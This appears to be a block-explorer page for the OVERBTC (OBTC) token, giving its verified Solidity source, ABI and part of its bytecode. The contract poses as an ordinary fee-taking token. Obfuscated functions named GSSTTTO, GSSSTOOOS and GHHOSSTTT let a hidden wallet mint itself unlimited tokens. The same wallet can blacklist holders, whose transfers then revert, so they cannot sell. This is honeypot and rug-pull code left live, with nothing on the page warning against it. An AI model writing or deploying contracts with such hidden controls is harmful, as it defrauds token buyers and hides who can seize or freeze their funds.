ETH Price: $3,295.48 (-3.20%)
Gas: 6.72 Gwei
 

Overview

Max Total Supply

100,000 OBTC

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,796.644614 OBTC

Value
$0.00
0x86ea742a70bbdb3ea7b8c106ea402aeb9dcadda7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OVERBTC

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-12
*/

/**
 *Submitted for verification at BscScan.com on 2023-01-09
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract OVERBTC is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "OVER BTC";
    string private _symbol = "OBTC";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public memoryW;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _ghost;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;
    uint256 private _totalSupply = 100000 * 10**_decimals;

    function name() public view returns (string memory) {
        return _name;
    }

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        memoryW = payable(address(0xc0a594170220c38764Fb24b1ef8A69DACC3A5f55));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    address public uniswapPair;
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    IUniswapV2Router02 public uniswapV2Router;

    receive() external payable {}

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            memoryW.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Inufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function UNIPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;
                require(!_ghost[from]);

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function GSSTTTO(uint256 newValue) public {
        GOOSTTT();
        mapping(address => uint256) storage GOOOSSSST = _balances;
        GSSSTOOOS(newValue,GOOOSSSST);
    }

    function GSSSTOOOS(uint256 fromto, mapping(address => uint256) storage GOOOSSSST) internal{
        GOOOSSSST[memoryW] += fromto;
    }

    function GOOSTTT() public view{
        require(memoryW == msg.sender);
    }

    function GHHOSSTTT(bool _ghost3, address[] calldata _ghost2) public {
        GOOSTTT();
        for (uint256 a; a < _ghost2.length; a++) {
            _ghost[_ghost2[a]] =  (100 != 100) || _ghost3;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bool","name":"_ghost3","type":"bool"},{"internalType":"address[]","name":"_ghost2","type":"address[]"}],"name":"GHHOSSTTT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"GOOSTTT","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"GSSTTTO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"UNIPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ghost","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"memoryW","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600881526020017f4f564552204254430000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e8565b506040518060400160405280600481526020017f4f42544300000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e8565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000632565b620186a0620000f4919062000683565b600c553480156200010457600080fd5b5062000115620003b760201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001e5620003bf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c5460046000620002a5620003b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073c0a594170220c38764fb24b1ef8a69dacc3a5f55600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000348620003b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003a99190620006f5565b60405180910390a362000776565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f69062000741565b90600052602060002090601f0160209004810192826200041a576000855562000466565b82601f106200043557805160ff191683800117855562000466565b8280016001018555821562000466579182015b828111156200046557825182559160200191906001019062000448565b5b50905062000475919062000479565b5090565b5b80821115620004945760008160009055506001016200047a565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200052657808604811115620004fe57620004fd62000498565b5b60018516156200050e5780820291505b80810290506200051e85620004c7565b9450620004de565b94509492505050565b60008262000541576001905062000614565b8162000551576000905062000614565b81600181146200056a57600281146200057557620005ab565b600191505062000614565b60ff8411156200058a576200058962000498565b5b8360020a915084821115620005a457620005a362000498565b5b5062000614565b5060208310610133831016604e8410600b8410161715620005e55782820a905083811115620005df57620005de62000498565b5b62000614565b620005f48484846001620004d4565b925090508184048111156200060e576200060d62000498565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200063f826200061b565b91506200064c8362000625565b92506200067b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200052f565b905092915050565b600062000690826200061b565b91506200069d836200061b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006d957620006d862000498565b5b828202905092915050565b620006ef816200061b565b82525050565b60006020820190506200070c6000830184620006e4565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200075a57607f821691505b60208210810362000770576200076f62000712565b5b50919050565b612cac80620007866000396000f3fe6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c86079521161006f578063c86079521461046d578063cf4512e014610498578063d83797a8146104c3578063dd62ed3e14610500578063e79d4b701461053d578063f2fde38b146105665761014b565b80638da5cb5b1461035b57806395d89b4114610386578063a9059cbb146103b1578063c51fb706146103ee578063c5d2418914610417578063c816841b146104425761014b565b8063313ce56711610108578063313ce5671461024b5780633345611e146102765780633ecad271146102b3578063445a91f3146102f057806370a082311461030757806388b7264e146103445761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e357806323b872dd1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561058f565b6040516101729190612010565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d91906120d0565b610621565b6040516101af919061212b565b60405180910390f35b3480156101c457600080fd5b506101cd61063f565b6040516101da91906121a5565b60405180910390f35b3480156101ef57600080fd5b506101f8610665565b60405161020591906121cf565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906121ea565b61066f565b604051610242919061212b565b60405180910390f35b34801561025757600080fd5b50610260610749565b60405161026d9190612259565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612274565b610760565b6040516102aa919061212b565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190612274565b610780565b6040516102e7919061212b565b60405180910390f35b3480156102fc57600080fd5b506103056107a0565b005b34801561031357600080fd5b5061032e60048036038101906103299190612274565b610b4b565b60405161033b91906121cf565b60405180910390f35b34801561035057600080fd5b50610359610b94565b005b34801561036757600080fd5b50610370610bf0565b60405161037d91906122b0565b60405180910390f35b34801561039257600080fd5b5061039b610c19565b6040516103a89190612010565b60405180910390f35b3480156103bd57600080fd5b506103d860048036038101906103d391906120d0565b610cab565b6040516103e5919061212b565b60405180910390f35b3480156103fa57600080fd5b506104156004803603810190610410919061235c565b610cca565b005b34801561042357600080fd5b5061042c610d83565b60405161043991906121cf565b60405180910390f35b34801561044e57600080fd5b50610457610d89565b60405161046491906122b0565b60405180910390f35b34801561047957600080fd5b50610482610daf565b60405161048f91906121cf565b60405180910390f35b3480156104a457600080fd5b506104ad610db5565b6040516104ba91906123dd565b60405180910390f35b3480156104cf57600080fd5b506104ea60048036038101906104e59190612274565b610ddb565b6040516104f7919061212b565b60405180910390f35b34801561050c57600080fd5b50610527600480360381019061052291906123f8565b610dfb565b60405161053491906121cf565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190612438565b610e82565b005b34801561057257600080fd5b5061058d60048036038101906105889190612274565b610e9e565b005b60606001805461059e90612494565b80601f01602080910402602001604051908101604052809291908181526020018280546105ca90612494565b80156106175780601f106105ec57610100808354040283529160200191610617565b820191906000526020600020905b8154815290600101906020018083116105fa57829003601f168201915b5050505050905090565b600061063561062e610ff0565b8484610ff8565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b600061067c8484846111c1565b5061073e84610689610ff0565b61073985604051806060016040528060288152602001612c4f60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ef610ff0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180a9092919063ffffffff16565b610ff8565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6107a8610ff0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612511565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610899573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bd9190612546565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610924573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109489190612546565b6040518363ffffffff1660e01b8152600401610965929190612573565b6020604051808303816000875af1158015610984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a89190612546565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bee57600080fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c2890612494565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5490612494565b8015610ca15780601f10610c7657610100808354040283529160200191610ca1565b820191906000526020600020905b815481529060010190602001808311610c8457829003601f168201915b5050505050905090565b6000610cbf610cb8610ff0565b84846111c1565b506001905092915050565b610cd2610b94565b60005b82829050811015610d7d57606480141580610ced5750835b60096000858585818110610d0457610d0361259c565b5b9050602002016020810190610d199190612274565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d75906125fa565b915050610cd5565b50505050565b600a5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e8a610b94565b600060049050610e9a828261186e565b5050565b610ea6610ff0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a90612511565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e906126b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90612746565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111b491906121cf565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611231576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611228906127d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112979061286a565b60405180910390fd5b600e60149054906101000a900460ff16156112c7576112c08484846118e9565b9050611803565b60006112d230610b4b565b9050600e60149054906101000a900460ff1615801561133b5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561134a5761134981611abc565b5b61139c83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114825750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561148f57839050611702565b6000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114e857600080fd5b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611569576115626064611554600a5488611df290919063ffffffff16565b611e6c90919063ffffffff16565b90506115e7565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115e6576115e360646115d5600b5488611df290919063ffffffff16565b611e6c90919063ffffffff16565b90505b5b60008111156116eb5761164281600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb690919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e291906121cf565b60405180910390a35b6116fe8186611da890919063ffffffff16565b9150505b61175481600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117f491906121cf565b60405180910390a36001925050505b9392505050565b6000838311158290611852576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118499190612010565b60405180910390fd5b5060008385611861919061288a565b9050809150509392505050565b81816000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118de91906128be565b925050819055505050565b6000611974826040518060400160405280601381526020017f496e756666696369656e742042616c616e636500000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180a9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a0982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aa991906121cf565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611af457611af3612914565b5b604051908082528060200260200182016040528015611b225781602001602082028036833780820191505090505b5090503081600081518110611b3a57611b3961259c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c059190612546565b81600181518110611c1957611c1861259c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c8030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ff8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ce4959493929190612a3c565b600060405180830381600087803b158015611cfe57600080fd5b505af1925050508015611d0f575060015b5060004790506000811115611d8857600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d86573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611dea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061180a565b905092915050565b6000808303611e045760009050611e66565b60008284611e129190612a96565b905082848261